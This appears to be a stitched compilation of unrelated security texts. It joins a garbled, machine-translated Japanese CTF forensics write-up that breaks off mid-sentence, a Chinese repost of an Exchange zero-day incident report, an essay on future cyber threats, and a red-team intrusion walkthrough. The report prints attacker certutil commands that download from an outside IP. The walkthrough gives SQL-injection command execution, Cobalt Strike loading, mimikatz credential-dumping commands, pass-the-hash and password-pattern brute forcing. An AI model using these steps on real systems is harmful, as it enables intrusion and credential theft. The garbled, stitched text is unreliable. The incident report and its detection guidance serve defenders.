「最初の-I」で正常に抽出しました。私たちがそれを開いたとき、私たちはそれが「ビンウォーク」を使用して分析した「zip」であることがわかりませんでしたが、「.wav」で終わる別のオーディオです。ただし、簡単な分析により、このオーディオは以前のオーディオではないことがわかりました。最も簡単な分析方法は、サイズが異なることです。したがって、ここでは、上記のように基本的な共通「.WAV」分析ツールを使用しており、最終的に「Audacity」で重要な情報を見つけました！コマンドを使用します。 foremost -i 333.wav -o/root/desktop/123 -t get 在这里插入图片描述

分離されたファイルを開いて2つのオーディオを取得し、簡単に分析します。在这里插入图片描述

最後に、2番目のオーディオ "00006606.wav"の「Audacity」の「スペクトログラム」が重要な情報で発見されました！在这里插入图片描述

重要な情報を取得します。パス：STEGO0626;また、ここでも明らかです。特定のパスワードでなければなりません。結局のところ、それは「パス」であるため、ここで分析することは何もないことは言うまでもなく、基本的にあなたが見つけることができるすべてのものは試されているが、それらのどれも機能しないからです。しかし、ここで私は突然、「ビンウォーク」を使用して分析すると、内部に壊れた「ジップ」がありましたが、それは正常に分離されていませんでした。 「010」を使用して単純に見つけて、この「zip」が不完全であるかどうかを確認することができます。これは、「最も重要な」または「ビンウォーク」の壊れた使用を直接分離できず、手動で分離する必要があるためです。 「010」を使用して、「zip」（zipの16進数——504b0304）在这里插入图片描述を分析して見つけます

簡単に見ると、重要な情報「フラグ」は実際に私たちが考えているフラグであることがわかりましたが、このzipにはメインヘッドが欠けているようです。これは私たちが探した「504b0304」の始まりです。私たちがそれを知らないかどうかは関係ありません。比較として、通常の「zip」を使用することができます。通常の「zip」16進表現。在这里插入图片描述

通常の「zip」に最初に「504b0304」が実際に含まれていることを見るのは難しくありませんが、ここには存在しませんでした。それでは、それを直接保存して、正常に開くのが難しいかどうかを確認しましょう。 「010」で「新しいヘックスファイルを作成」し、貼り付けの段落全体を選択します。在这里插入图片描述

「zip」のメインコンテンツを選択し、右クリックしてコピーします。在这里插入图片描述

もちろん、ここの頭には「zip」が欠落しているため、後で挿入する必要がある場合に備えて、「zip」があります。

貼り付けて、フォーマットを保存するために「zip」を選択します。あなたがそれを見つけるのを防ぐために、保存場所に注意してください。在这里插入图片描述

最後に、「zip」を開くにはパスワードが必要です。次に、以前に抽出されたパスワードを入力して、「Pass：Stego0626」を開きます。在这里插入图片描述

右クリック「メモ帳」を選択して、分析のために空白のファイルを開くことができます。在这里插入图片描述

それは私たちが必要とする旗ではなかったことがわかったが、それは問題ではなかった。 「010」を選択して開き、分析して取得できます。在这里插入图片描述

この「フラグ」ブランクファイルのヘッダーは、「78 9C 4B CB」から始まることがわかりました。一般的に言えば、16進78 9C 4B CBで始まるファイルは、通常、ZLIB圧縮アルゴリズムを使用して圧縮されたファイルです。そのため、「Zlib」接尾辞を直接追加してから、「binwalk -e」を使用して分離し、最後にフラグを見つけてコマンドを使用できます。 binwalk -e flag.zlib - run-as=rootに正常に分離された在这里插入图片描述

分析のために分離されたファイルを開き、最終的にフラグを正常に取得します。在这里插入图片描述

この時点で;フラグ{81633464866E622D275C309B22CB907B}ここでの分離は唯一の方法ではありません。「cyberchef」を使用して「Zlib」をデコードし、フラグをデコードすることもできます。在这里插入图片描述

3。 PFファイル分析

在这里插入图片描述

問題を解決するための質問がたくさんあります。しかし、重要なポイントを見つけることができます。簡単に言えば、最も使用されているソフトウェア名を見つけて送信しましょう。したがって、ここでは、まず「PF」ファイルが何であるかを簡単に理解する必要があります。

PFファイル（Prefetchファイル）は、Windowsオペレーティングシステムのキャッシュファイルであり、アプリケーションの起動をスピードアップするために使用されます。 Windowsでアプリケーションを実行するたびに、システムはアプリケーションに関連付けられたPFファイルを作成または更新します。このファイルは、ロードされたDLL、ファイルパス、その他の情報など、プログラムを開始するために必要なリソースを記録します。主な機能：ストレージ場所：PFファイルは通常、C: \ Windows \ Prefetchディレクトリに保存され、ファイル名形式はプログラム名Hash Value.pfです。スタートアップのスピードアップ：PFファイルは、プログラムの起動に必要なリソースを記録します。これにより、次にプログラムが開始されると、オペレーティングシステムがこれらのリソースをより迅速にロードするのに役立ちます。フォレンジック分析：デジタルフォレンジックでは、PFファイルを使用してユーザーの動作を分析し、プログラムがいつ、どのように開始されるかを確認し、イベントのタイムラインの再構築を支援できます。クリーニングインパクト：PFファイルのクリーニングにより、アプリケーションが初めてゆっくりと起動する可能性がありますが、システムの全体的なパフォーマンスにはほとんど影響を与えません。概要：PFファイルは、プログラムのスタートアップパフォーマンスを最適化するためにWindows Systemsが使用するキャッシュファイルです。それらは特定のディレクトリに保存され、プログラムの開始時に作成または更新されます。デジタルフォレンジックの分野では、これらのドキュメントはユーザーの動作の分析にも役立ちます。 「PF」ファイルについてすでに学んだので、添付ファイルを直接ダウンロードして開き、パスワードが必要であることがわかりました。悲しいかな、それは最初は非常に奇妙でした。タイトルにパスワードはないと思っていたので、オーガナイザーはパスワードを提供しませんでした。それで、パスワードはオーガナイザーによって忘れられましたか？慎重に観察した後、ダウンロードされた添付ファイルは、いわゆる「ジップ」名であることがわかりました。 「base64」エンコードであるため、直接解読しました。また、パスワードが必要なことも成功しました。在这里插入图片描述

オンラインbase64デコードとデコード。在这里插入图片描述

zipパスワード：iampasswordは最終的に正常に減圧されました。それから私たちはそれを言った。 「プリフェッチ」を分析したい場合、分析にどのツールを使用する必要がありますか？これがマスターの要約です。 PECMD：使用法：PECMDは、Windows Prefetchファイルを解析および分析するために使用されるコマンドラインツールです。デジタルフォレンジック分析に非常に適した実行時間、パス、関連DLLなど、プリフェッチファイルに詳細情報を抽出できます。機能：バッチ処理をサポートし、CSVレポートを生成し、プリフェッチ形式の複数のWindowsバージョンを解析できます。 winprefetchView：使用：winprefetchViewは、プリフェッチファイルを表示および分析するためのシンプルなGUIツールです。プリフェッチディレクトリにファイルをすばやくリストし、プログラムの起動時間、最終実行時間など、各ファイルの詳細情報を表示できます。機能：フレンドリーなインターフェイス、シンプルな操作、プリフェッチファイルコンテンツの迅速な表示に適しています。これらの2つのツールは、プリフェッチファイルを分析する際に最も一般的に使用されており、単純な視聴から詳細なフォレンジック分析まで、さまざまなレベルのニーズに適しています。次に、最初に「PECMD」を使用して分析します。コマンドを使用します。 pecmd.exe -d d: \最新ダウンロード\ pecmd \ pretch -json output.txtコマンドを簡単に分析する。 PECMDツールを使用して、D: \最新ダウンロード\ PECMD \ PECMDディレクトリにあるプリフェッチファイルを解析し、出力結果をoutput.txtファイルにJSON形式のファイルに保存します。それを得る;在这里插入图片描述

最後に、現在のディレクトリで、作成した「出力」ファイルを見つけました。在这里插入图片描述

右クリックして「メモ帳」を選択して分析を開きます。

それを得る;在这里插入图片描述

この問題により、最も使用されているソフトウェアを見つけることができるため、最も使用されているソフトウェアのみを探します。次に、ここで「ランカウント」の英語翻訳は間違いなく実行されるため、「ランカウント」を見つけるには「ctrl+f」のみが必要であり、それをゆっくりと見てください。得る;在这里插入图片描述

しかし、私はそれが最も処刑されている人ではないことを発見しました。その後、38、71などがさらに多くあることがわかりました。また、最大の「82」をゆっくりと検索して確認しました。それを得る;在这里插入图片描述

この時点で; flag {searchfilterhost.exe}拡張「pecmd」を使用して「プリフェッチ」を分析しました。それは解析であり、検索するメモ帳を開きます。少し面倒ではありませんか？なぜ！確かにこれよりも簡単な方法があります。次のことについて説明するツール「winprefetchview」が抽出されてダウンロードされました。次に、ここからツール「winprefetchview」を開きます。在这里插入图片描述次に、「オプション」をクリックし、「[詳細なオプション」を選択し、[プリフェッチ]位置を変更し、最後に[確認]をクリックします。得る;在这里插入图片描述

実行数を簡単な順序で直接並べ替えて、この方法は実際に最初の方法よりもはるかに便利であり、見るのがより直感的で明確であることを知ることができます。

4。失われた情報

在这里插入图片描述

質問バラバラには多くの有用な質問があります。要約しましょう。簡単に言えば、顧客の携帯電話番号を取り出して、小文字MD5暗号化のために提出しましょう。次に、添付ファイルをダウンロードして、2つのファイルを取得します。在这里插入图片描述

「ディスク」ファイルと「.raw」ファイルとは何かの簡単な分析。 「ディスク」ファイルとは何ですか？ 「ディスク」ファイルは通常、ストレージデバイスのミラーファイルを指します。これは、ハードディスク、パーティション、またはその他のストレージメディアの正確なコピーです。このファイルには、ファイルシステム、パーティションテーブル、ブートレコード、ディスクに保存されているすべてのファイルとフォルダーなど、ディスク上のすべてのデータが含まれています。目的：バックアップ、クローニングディスク、またはデータリカバリに一般的に使用されます。また、ディスクに保存されているデータを分析および再構築するためにディスクイメージを使用して、法的分析にも使用されます。形式：ディスクファイルは、img、iso、vmdk（仮想ディスクファイル）などのさまざまな形式で存在する場合があります。「.raw」ファイルとは何ですか？RAWファイルは通常、生ディスクイメージを指します。これは、ディスク上のすべての生データを含む非圧縮ミラー形式で、ディスクまたはパーティションバイトバイト全体を複製します。機能：非圧縮：RAWファイルには圧縮または変更されたデータが含まれておらず、最も元のディスク画像形式です。普遍性：シンプルで普遍的な形式により、RAWファイルは、さまざまなツールやオペレーティングシステムで認識および使用できます。目的：デジタルフォレンジック、データ回復、仮想化環境で広く使用されています。RAWファイルの分析は、削除されたファイルの回復、ファイルシステム構造の分析、その他の低レベルのデータ操作を実行するのに役立ちます。概要ディスクファイル：通常、ストレージデバイス全体のコピーであるディスクイメージファイルを指します。RAWファイル：ディスク上の生データを含む非圧縮ディスクイメージ形式であり、フォレンジック分析とデータの回復によく使用されます。繰り返しになりますが、それがどんな文書であるかを知っているので、それらをどのように分析しますか？もちろん、ディスクイメージファイル（「ディスク」ファイルまたは「.raw」ファイル）を分析する場合、以下は一般的に使用されるツールです。ボラティリティ2.6:目的：ボラティリティはメモリフォレンジック分析ツールです。主にメモリダンプ分析に使用されますが、ディスク画像のデータを分析するためにも使用できます。ディスクミラーリングと協力することにより、ボラティリティは、プロセス、ネットワーク接続、レジストリエントリなどのメモリ関連データを抽出および分析できます。機能：強力な機能は、詳細な分析と証拠のフォレンジック作業に適した複数のオペレーティングシステムのメモリ分析をサポートします。 Elcomsoft Forensic Disk Decryptor:目的：Elcomsoft Forensic Disk Decryptorは、暗号化されたディスクイメージファイルを解読するために特別に使用されます。 BitLocker、TrueCrypt、Veracrypt、およびその他の暗号化システムをサポートし、これらのミラーファイルからデータを抽出および分析するのに役立ちます。機能：暗号化されたディスクイメージに遭遇したときに使用するのに特に適した強力な復号化機能。

一般に、ボラティリティ2.6：はメモリフォレンジック分析に使用され、ディスク画像と組み合わせて高度なデータ抽出にも使用できます。 Elcomsoft Forensic Disk Decryptor：特別に使用

HireHackking

8月初，在執行安全監控和事件響應服務時，GTSC SOC團隊發現一個關鍵基礎架構受到攻擊，經過分析這是專門針對Microsoft Exchange應用程序的。在調查期間，GTSC Blue Team專家確定，攻擊者利用了一個未公開的Exchange安全0 day 漏洞，因此立即制定了臨時緩解計劃。與此同時，安全專家開始研究和調試Exchange反編譯代碼，以查找漏洞並利用代碼。經分析，該漏洞非常嚴重，使得攻擊者能夠在受攻擊的系統上執行RCE。 GTSC立即將該漏洞提交給Zero Day Initiative (ZDI)，以便與微軟合作，盡快準備修補程序。 ZDI驗證並確認了2個漏洞，CVSS評分分別為8.8和6.3。

1.png

不過截至目前，修復程序還未發布，GTSC已經發現其他客戶也遇到了類似攻擊。經過仔細測試，研究人員確認這些系統正受到此0 day零日漏洞的攻擊。

漏洞信息在為客戶提供SOC服務時，GTSC Blueteam在IIS日誌中檢測到與ProxyShell漏洞格式相同的攻擊請求,如下所示：

加图1.png

研究人員還檢查了其他日誌，發現攻擊者可以在受攻擊的系統上執行命令。這些Exchange服務器的版本號表明已安裝最新更新，因此使用Proxyshell漏洞進行攻擊的行為讓研究人員可以確認這是一個新的0 dayRCE漏洞。這些信息被發送給了安全分析師後，他們對為什麼漏洞利用請求與ProxyShell bug類似？ RCE是如何實施的？等問題進行了研究。

經過分析，研究人員成功地找到瞭如何使用上述路徑訪問Exchange後端中的組件並執行RCE。然而，處於安全考慮，目前我們還不想發布該漏洞的技術細節。

利用後（Post-exploit）活動在追踪到有關攻擊示例後，研究人員開始收集信息並在受害者的系統中建立一個立足點。另外，攻擊者還使用各種技術在受影響的系統上創建後門，並對系統中的其他服務器執行橫向移動。

Webshell我們檢測到Webshell被丟棄到Exchange服務器，其中大部分是模糊的。通過用戶代理，我們檢測到攻擊者使用了Antsword，這是一個基於中文的開源跨平台網站管理工具，支持webshell管理。

加图2.png

另一個值得注意的特點是，攻擊者還將文件RedirSuiteServiceProxy.aspx的內容更改為webshell內容。 RedirSuiteServiceProxy.aspx是Exchange服務器中可用的合法文件名。

在另一個客戶的事件響應過程中，GTSC注意到攻擊組織使用了另一個webshell模板。

Filename:errorEE.aspx

SHA256:be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Ref:https://github.com/antonioCoco/SharPyShell命令執行除了收集系統信息外，攻擊者還通過certutil下載文件並檢查連接，certutil是Windows環境中可用的合法工具。

“cmd”/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttp://206.188.196.77:8080/themes.aspxc:\perflogs\techo[S]cdecho[E]

'cmd'/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttps://httpbin.org/getc:\testecho[S]cdecho[E]需要注意的是，每個命令都以字符串echo[S]cdecho[E]結尾。

此外，攻擊者還將惡意DLL注入內存，在受攻擊的服務器上釋放可疑文件，並通過WMIC執行這些文件。

可疑文件在服務器上，研究人員檢測到exe和dll格式的可疑文件：

3.png

在可疑文件中，根據服務器上執行的命令，研究人員確定all.exe和dump.dll負責在服務器系統上轉儲憑證。之後，攻擊者使用rar.exe壓縮轉儲文件並複製到Exchange服務器的webroot中。不幸的是，在響應過程中，上述文件在受攻擊的系統中不再存在，可能是由於攻擊者刪除了證據。

被釋放到C:\PerfLogs\文件夾中的cmd.exe文件是標準的Windows命令行工具cmd.exe。

惡意軟件分析DLL信息

文件名：Dll.Dll

Sha256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2DLL分析GTSC分析一個特定的樣本(074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82)來描述惡意代碼的行為，其他DLL樣本有類似的任務和行為，只是偵聽器配置不同。

DLL由兩個類組成：Run和m，每個類都調用執行不同任務的方法。具體地說：

Run類創建一個偵聽器，偵聽路徑為https://*:443/ews/web/webconfig/的端口443的連接。

5.png

偵聽後，惡意軟件創建一個調用r的新線程。方法r執行以下操作：

1.檢查接收到的請求正文中是否有數據，如果沒有，則返回結果404。

2.相反，如果請求包含數據，DLL將繼續處理if分支內的流：

檢查收到的請求是否包含“RPDbgEsJF9o8S=”。如果是，調用類m中的方法i來處理收到的請求。從Run.m.i返回的結果將轉換為一個base64字符串。以以下格式返回給客戶端的結果：

6.png

m類方法i可以：

1.使用AES算法對收到的請求進行解密，其中請求的前16個字節是IV值，後16個字節為key值，其餘為數據。

2.解碼後，獲取數組中的第一個元素作為標誌，以處理定義的情況，處理定義的情況如下：

7.png

示例1：調用方法info。該方法主要負責收集系統信息，比如操作系統架構、框架版本、操作系統版本等信息。 GTSC用下圖模擬本示例。請求以以下格式發送：前16字節是IV值，後16字節是key值，後面是一個指定選項的標誌，其餘是數據。

base64 (IV | key | aes(flag|data))

8.png

示例2：調用方法sc，調用sc方法，該方法負責分配內存來實現shellcode。

9.png

示例3：調用兩個方法p和r。方法p處理由“|”字符分隔的數據，保存到數組array3。數組array 3將前兩個元素作為方法r的參數，該方法負責執行命令。

10.png

示例4：調用方法ld，該方法負責以以下這種格式列出目錄和文件信息：

加图3.png

11.png

示例5：調用方法wf，該方法負責寫入文件：

12.png

示例6：調用方法rf，該方法負責讀取文件：

13.png

示例7：創建文件夾；

示例8：刪除文件或文件夾；

示例9：移動文件；

示例10：設置文件時間；

14.png

示例11：加載並執行從請求接收的C#字節碼。

15.png

其他DLL示例具有類似的任務，只是偵聽器配置不同，如下所示：

Victim 1:

https://*:443/ews/web/webconfig/

https://*:443/owa/auth/webcccsd/

https://*:444/ews/auto/

https://*:444/ews/web/api/

Victim 2:

http://*:80/owa/auth/Current/script/

https://*:443/owa/auth/Current/script/

GTSC還檢測到DLL被注入到svchost.exe進程的內存中。 DLL將數據發送和接收連接到二進製文件中固定的地址137[.]184[.]67[.]33中。使用RC4加密算法使用C2發送和接收數據，其中密鑰將在運行時生成。

16.png

臨時緩解措施GTSC的直接事件響應程序已經發現了有1個組織成為利用這一0 day漏洞的攻擊活動的受害者。此外，可能還有許多其他組織被利用，但尚未被發現。在等待正式補丁的同時，GTSC提供了一個臨時緩解措施，通過在IIS服務器上的URL Rewrite rule模塊添加一條規則來阻止帶有攻擊指示器的請求，從而緩解攻擊。

在前端自動發現中，選擇選項卡“URL重寫”，選擇“請求阻止”

17.png

將字符串“.*autodiscover\.json.*\@.*Powershell.*”添加到URL路徑：

18.png

條件輸入：選擇{REQUEST_URI}：

19.png

我們建議全世界正在使用Microsoft Exchange Server的所有組織或企業盡快檢查、審查並應用上述臨時補救措施，以避免潛在的攻擊。

檢測方法為了幫助組織檢查他們的Exchange服務器是否已被此漏洞利用，GTSC發布了掃描IIS日誌文件的指南和工具（默認存儲在%SystemDrive%\inetpub\logs\LogFiles文件夾中）：

方法1：使用powershell命令：

加图4.png

方法2：使用GTSC開發的工具：基於漏洞簽名，我們構建了一個比使用powershell更短的搜索時間的工具。下載鏈接：https://github.com/ncsgroupvn/NCSE0Scanner。

HireHackking

雖然互聯網無疑帶來了新的好處，但也帶來了新的問題，因為網絡犯罪分子看到我們越來越依賴網絡連接後企圖大做文章。

網絡釣魚郵件、惡意軟件及勒索軟件攻擊，或竊取銀行資料、密碼及其他個人信息，互聯網為惡意黑客提供了眾多新的途徑來撈錢財、搞破壞。比如，只要看看關鍵基礎設施、學校和醫院如何受到了網絡攻擊的影響。

我們尚未完全保護網絡免受如今的互聯網威脅，不過技術已經在邁進，帶來了我們必須防備的新威脅。

量子計算：密碼破解和貨幣挖掘量子計算是最重大的技術突破之一，它有望能夠快速解決經典計算機無力處理的複雜問題。

這一進步將給科研和社會帶來好處的同時，也會帶來新的挑戰。最值得注意的是，功能強大的量子計算可以快速破解數十年來我們用來保護眾多方面的加密算法，包括網上銀行、安全通信和數字簽名。

目前，量子計算成本高昂，開發量子計算所需的專業知識僅限於大型科技公司、研究機構和政府。但就像任何創新技術一樣，量子計算最終會變得更商業化、更普及，網絡犯罪分子會企圖利用量子技術。

思科Talos的安全研究技術負責人Martin Lee表示，屆時量子計算能夠破解當前的加密算法。 20年前完全合適的加密密鑰長度再也不合適了。

美國網絡安全和基礎設施安全局（CISA）此前警告，現在須採取行動，幫助保護網絡免受借助量子計算的網絡攻擊，尤其是那些支持關鍵國家基礎設施的網絡。

不過，雖然借助量子計算的破壞性網絡攻擊是未來的一大網絡安全威脅，但量子計算機本身可能會成為黑客的誘人目標。

不妨以挖掘加密貨幣的惡意軟件為例。攻擊者將這種惡意軟件安裝在計算機和服務器上，悄然利用他人網絡的資源來挖掘加密貨幣，從中牟利，這一切無需為消耗的資源或算力付費。

比特幣等加密貨幣是由計算機通過解決複雜的數學問題生成的，這類數學問題用量子計算機網絡來解決比較容易。這意味著，如果網絡犯罪分子能夠在量子計算機上植入挖掘加密貨幣的惡意軟件，一下子就能暴富，自己幾乎不需要花一分錢。

趨勢科技的高級防病毒研究員David Sancho表示，只要感染一台量子計算機，就可以開始計算非常複雜的算法。

如果你在量子計算機上有一個加密貨幣礦工軟件，將極大地提高挖礦能力，這成為網絡攻擊的目標，很容易做出這樣的預測。

利用人工智能和機器學習但量子計算不是網絡犯罪分子企圖利用的唯一新興技術，預計他們還會利用人工智能和機器學習方面的進展。

與量子計算一樣，人工智能和機器學習將推動眾多領域的創新，包括機器人及無人駕駛汽車、語音及語言識別以及醫療保健等。

能適應和學習的人工智能可用於正道，但最終一旦人工智能變得更普遍，網絡犯罪分子早晚會利用它幫助提高網絡攻擊的成效。

WithSecure的首席研究官Mikko Hyppönen表示，我們開始看到惡意軟件活動、勒索軟件活動和網絡釣魚活動完全由機器學習框架自動化運作。

利用這項技術的一種手段是，編寫基於文本的生成算法來發送和回復常見的垃圾郵件或商業電子郵件入侵（BEC）活動。

犯罪分子可以依靠一種算法來分析哪些響應最有可能是值得回复的真正受害者，而不是仍然不為所動的人，或者將惡作劇回復發回給垃圾郵件發送者的人，而不是需要人花時間來撰寫和回复郵件。這種現狀意味著你到頭來被機器人程序欺騙。

網絡犯罪分子還可能利用機器學習方面的進展，開發自編程的智能惡意軟件，而不是需要開發人員來支持它，這種惡意軟件可以通過自動應對遇到的網絡防禦來更新自己，從而最大限度地發揮成效。

Hyppönen表示，可以想像，當自編程程序變得功能比現在更強大時，可以完成人類創建的功能，這聽起來很好，但如果換成勒索軟件，情況就不容樂觀了。

勒索軟件可能改變代碼，變得更難理解，而且每次都不一樣，它可能嘗試創建檢測不到的版本。這一切在技術上是可行的，這一幕早晚會出現。

深度偽造但是人工智能被用來構成網絡威脅不僅僅是互聯網的未來問題，如今已經在上演：深度學習被用來支持深度偽造（deepfake），這種視頻看起來像是真實的人或活動，但實際上是假的。

深度偽造被用於政治虛假信息宣傳活動和惡作劇以愚弄政客，它們已經被用於增強BEC及其他欺詐攻擊，網絡犯罪分子使用深度偽造音頻，說服員工授權向攻擊者擁有的賬戶轉移大額資金。

Fortalice Solutions首席執行官兼白宮前首席信息官Theresa Payton表示，深度偽造視頻將用於實施犯罪活動。不僅僅用於操縱，還用於宣傳虛假信息和錯誤信息。

以面向公眾的CEO們為例。他們上電視，發表演講，網上有他們的視頻，比較容易找到他們聲音的錄音，騙子者已經可以通過深度偽造技術利用這些資源模仿他們的聲音。

畢竟，如果員工接到公司負責人的電話，告訴他們做某事，他們很可能會照辦，實施這類攻擊的網絡犯罪分子對此心知肚明。

已有這樣的先例：深度偽造音頻被用來成功地說服某人將資金轉移到不該轉移的地方。隨著深度偽造背後的技術不斷改進，這意味著辨別真假的難度只會越來越大。而越來越讓人擔心的是，我們缺乏真正打擊這種活動的能力。

受感染的物聯網說到互聯網的未來，深度偽造不是網絡威脅可能影響我們日常生活的唯一領域。智能物聯網設備日益成為我們日常生活中的一部分，各種傳感器、電器、可穿戴設備及其他聯網產品出現在家庭、辦公室和工廠等場所。

雖然將物聯網設備連接到家庭和工作場所網絡有一定的優點，但聯網程度提高也為網絡犯罪分子伺機作案提供了更大的攻擊面。

如果為日常設備添加功能和連接，它們變得容易被攻擊。原本不容易被攻擊的設備變得容易被攻擊。不存在安全的計算機，也不存在無法攻破的設備。這是當下發生的一幕，無法阻止，而且會越來越隱蔽。

想想家用電器：它們越來越有可能變得“智能”、聯網。從電視到牙刷，任何東西現在都可以聯網。但對於家電製造商來說，製造聯網設備是比較新的現象，以前許多設備不需要考慮網絡安全威脅。一些廠商甚至可能在設計過程中根本沒考慮到這一點，因而產品容易受到黑客攻擊。

雖然黑客攻擊咖啡機或魚缸聽起來並不令人擔憂，但這類設備是網絡上的節點，一旦被訪問，可以作為跳板，進而攻擊更重要的設備和敏感數據。

雖然物聯網安全有望逐漸改進，但還有另一個問題要考慮。已經有成千上萬缺乏安全的物聯網設備，這些設備甚至可能無法打上安全補丁。

想想幾年後多少智能手機無法接收安全補丁。再想一想迅猛發展的物聯網，如果冰箱或汽車設備可能繼續使用數十年，將會發生什麼？

沒有哪家軟件開發商會支持20年前編寫的軟件。如果廠商不再支持其設備的更新，就應該開放源代碼，以便別人支持更新。

聯網設備已經在整個社會無處不在，整個智慧城市將成為常態。但如果網絡安全和合規不是推動這個趨勢的關鍵力量，可能會給每個人帶來負面影響。

如果你不解決這些問題，將會以前所未有的速度遭到規模空前的攻擊。這確實令人不安。勒索軟件攻擊早晚會劫持智慧城市。智慧城市將成為目標，我們會遇到某種程度的持續性破壞。

網絡安全界上演軍備競賽儘管潛在威脅初露端倪，但業界人士對互聯網未來還是抱以樂觀態度。雖說網絡犯罪分子會使用新技術來幫助改進攻擊水平，但負責保護網絡的人士也會運用同樣的技術幫助防止攻擊。

我們的這種能力越來越強：為惡意行為建立模型，然後使用人工智能、大數據、分析及不同類型的機器學習算法，繼續改進技術。

現在無法阻止一切，因為網絡犯罪分子總是在調整策略，但業界確實能夠阻止更多的低中級類別的威脅。網絡安全在改善，即使新技術即將出現，這並不意味著網絡犯罪分子及其他惡意黑客會輕鬆得逞。

如果比較今天和十年前的計算機安全，就會發現我們在安全方面變得越來越好，攻擊者趁虛而入變得越來越難。

互聯網未來的穩定性取決於今後依然是這樣子。

HireHackking

前言

前段时间参加了一场攻防演练，使用常规漏洞尝试未果后，想到不少师傅分享过从JS中寻找突破的文章，于是硬着头皮刚起了JS，最终打开了内网入口获取了靶标权限和个人信息。在此分享一下过程。

声明：本次演练中，所有测试设备均由主办方提供，所有流量均有留档可审计，所有操作均在授权下完成，所有数据在结束后均已安全销毁。

通过JS打点

开局只有一个登录页面，无法枚举用户名并且尝试爆破未果。

1140t4fmazo13914.jpg

利用bp抓包查看JS相关文件发现存在sql语句

nv4sevwjqry13915.jpg

跟踪comboxsql变量，发现定义了一个action类

t5nr25q05gg13917.jpg

搜索这个action类路径，发现访问方式是通过url拼接

knacehff5i413918.jpg

将该路径进行拼接，并将参数输入sql语句，测试发现该数据库为mssql数据库，可通过xp_cmdshell来执行系统命令。

1fgf5objryh13919.jpg

shellcodeloader上线CS

执行system权限后，打算直接使用远程下载上线免杀cs，但是未上线成功，查看进程发现有360企业云，触发拦截了执行exe行为。

ppp5izyc5iz13921.jpg

换种思路，通过下载哥斯拉webshell后，利用哥斯拉的shellcodeloader功能，加载自己CS木马的shellcode可上线成功。

abwboyy0mjx13922.jpg

解密数据库配置信息

因执行任何exe文件时，均提示拒绝访问，无法进行文件的运行，通过搜索本机配置文件发现了数据库的账号密码，但是数据库密码加密了

ez2bir4nmb113924.jpg

通过查找历史网站备份文件，发现的该系统早期配置文件并未做数据库密码加密配置，测试发现可以连接数据库。

timza5rxglj13926.jpg

另外查找本系统数据库备份文件时，意外发现了该服务器部署的另一套业务系统，并且数据库配置文件中的账号、密码和数据库ip同样也为加密存储。

fgc131uatzh13928.jpg


通过查找该系统特征发现为SiteServer CMS系统。从网上搜索发现了该cms的专用加解密工具 SiteServer CLI

02lgphlvaoq13930.jpg

运行后也可获取数据库明文配置信息

cs开启代理进行连接，测试连接成功
4cz0cvtu3jt13931.jpg
不过同样发现该数据库服务器也无法执行exe程序，无法运行mimikatz读取管理员哈希，无法建立用户，无法上传tscan进行内网扫描，在这尬住了。最后使用cs插件的信息探测，可探测内网网段资产。
hzhe4pkx4hp13934.jpg
使用17010插件攻击失败
hottuejarpl13935.jpg
使用proxychains配合msf获取了PC权限Image
5wrv4oafgd113937.jpg
使用mimikaz读取管理员密码开启远程桌面发现无法登录限制
b2n4w5ftij413939.jpg
msf加载mimikaz模块

ts::multirdp
获取内网权限
建立新用户，进入个人pc电脑
kamz25q2wpq13941.jpg
通过该PC机为据点，上传TideFinger和Tscan搭配进行内网扫描，在这有必要介绍下该两款工具。
Go语言版的TideFinger指纹识别功能： 1、加入Dismap、Vscan、Kscan、fofa、ServerScan等多个指纹 2、并加入了ServerScan的非web服务指纹，优化了资产发现的协程并发效率。3、显示效果借鉴了Dismap，在效率和指纹覆盖面方面应该是目前较高的了
ys0ciwxypis13944.jpg
Go语言版的Tscan功能： 1、Tscan为Tide安全团队共同维护的内外网资产扫描工具 2、基础代码随Fscan更新进行迭代 3、与潮声POC漏洞检测平台联动，团队成员每月会编写近期爆出的poc和定期收集整理网上已发布的poc检测模块最后进行更新发布。

pett2gvi5jl13945.jpg
扫描内网网段后，接下来是漏洞验证的过程，瞄了一眼结果没有发现能直接getshell的洞，不过指纹探测出了内网其中一ip开放了2222端口为rmi。
frzjzfl3ii113947.jpgImage
虽然拿到了该服务器权限，但是通过对本服务器进行信息搜集时，并未发现其它相关的账号密码信息。
SAM文件获取用户hash
使用mimikaz中sekurlsa::logonpasswords命令尝试读取进程lsass的信息来获取当前登录用户的密码信息，输出结果发现没有administrator等用户信息（主要是因为拿权限上cs时，估计触发了杀软策略导致服务器重启了），然后使用query user发现管理员用户不在线，故无法直接通过内存读取管理员hash。使用mimikaz读取SAM文件中的hash。

privilege::debug
#提升至system
token::elevate
#抓取sam
lsadump::sam
hash传递
拿到NTLM Hash后发现无法从在线网站直接解密出明文密码 通过获取的NTLM进行hash传递获取四台服务器权限。
s4b0nzucc1n13952.jpg
接下来利用hash登录该服务器，继续进行信息搜集。在其中一台服务器内发现了套娃远程桌面，并且为03系统
bcjae1tfols13954.jpg
获取服务器密码规律
通过mimikaz读取该密码（在KB2871997之前，Mimikatz可以直接抓取明文密码）

* Domain : WIN-LAOLOVGMF
* Password : xxxxxy401*1009

* Username : Administrator
* Domain : SD-68QDNY80KE
* Password : xxxxxy101*2006

* Username : SDAdministrator
* Domain : SD-93O4N5O2UD
* Password : xxxxxy501*2003
以及获取数据库配置密码

            <add key="dbDBName" value="REPSDU"/>
            <add key="dbUserName" value="sa"/>
            <add key="dbUserPwd" value="sdxxxxxy1108"/>
            <add key="CrystalImageCleaner-AutoStart" value="true"/>
            <add key="CrystalImageCleaner-Sleep" value="60000"/>
            <add key="CrystalImageCleaner-Age" value="120000"/>
        </appSettings>
通过观察发现服务器密码命名规律，猜测为楼层+房间号组合结尾，数据库服务器以房间号结尾。通过组合变形密码后缀，进行内网横向爆破。可获得大量SSH和RDP服务器
ju0wzhba0iy13957.jpgImage
通过此方式拿到了靶标服务器权限。
hpkdaapz1bo13962.jpg
